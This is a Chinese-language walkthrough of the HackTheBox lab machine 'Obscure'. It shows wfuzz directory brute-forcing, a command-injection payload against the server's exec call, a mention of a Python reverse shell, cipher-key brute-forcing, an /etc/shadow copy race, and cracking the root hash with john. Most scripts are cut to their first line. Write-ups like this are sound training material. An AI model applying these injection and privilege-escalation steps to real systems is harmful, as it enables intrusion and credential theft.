信息收集
这里可以先设置一下hosts文件
10.10.10.168 obscure.htb |
扫描端口发现开放了 8080
的web端口
页面提示有一个源码泄露
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory |
那我们就需要爆破目录了
使用 wfuzz
sudo wfuzz -c -z file,common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py |
得到源码:
import socket |
审计源码发现关键点:
def serveDoc(self, path, docRoot): |
大致说一下代码的含义,开启socket监听,接收到http请求,调用 Request
类的 parseRequest
方法做分割,然后调用 handleRequest
处理请求,通过 serveDoc
处理请求的文档
exec
函数处存在命令注入
In [33]: path = "/';os.system('whoami')#" |
然后就可以通过python反弹shell了
import requests |
反弹到shell之后继续进行信息收集:
check.txt
,大致含义就是加密了这个文件,加密的结果是 out.txt
www-data@obscure:/home/robert$ cat check.txt |
out.txt
, 这个就是加密的结果
www-data@obscure:/home/robert$ xxd out.txt |
passwordreminder.txt
又是一个加密后的文件
www-data@obscure:/home/robert$ hd passwordreminder.txt |
BetterSSH.py
(这个之后提权会用到)
www-data@obscure:/home/robert/BetterSSH$ cat BetterSSH.py |
SuperSecureCrypt.py
www-data@obscure:/home/robert$ cat SuperSecureCrypt.py |
从加密的脚本中可以知道关键的加密逻辑:
def encrypt(text, key): |
所以我们只需要爆破密钥了
爆破脚本
import string |
得到密钥
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal |
这里我遇到了一个难点,不知道如何将文件copy出来,本来我是可以通过
python3 -m http.server 8001
在靶机上开一个端口的,但是不知道为什么不成功。所以我这里是通过xxd来复原的
将 xxd 得到的结果复制出来,然后我们可以通过xxd -r
反向 dump
出结果
robert@obscure:~$ xxd out.txt |
user flag
得到密钥之后我们再解密即可
www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/key.txt -k alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal -d |
成功登陆
拿到 flag
robert@obscure:~$ ls |
提权
robert用户登陆之后,sudo -l
查看能够执行的root命令,发现能够以root身份执行 BetterSSH.py
robert@obscure:~$ sudo -l |
审计源码发现关键点:
with open('/etc/shadow', 'r') as f: |
程序会将 /etc/shadow
写入到 /tmp/SSH
的某个随机的目录中,于是想到我们只需要写个死循环不断地复制该目录下的文件即可
import shutil |
或者使用 shell
脚本
robert@obscure:/tmp$ cat scandir.sh |
然后我们执行就会发现 flag
目录中存在文件
robert@obscure:/tmp/flag$ ls |
john 解密得到 mercedes
robert@obscure:/tmp$ sudo python3 ~/BetterSSH/BetterSSH.py |
总结
做完后感觉并不是很难,但是还是发现自己在代码的能力偏弱,写个脚本要花很长的时间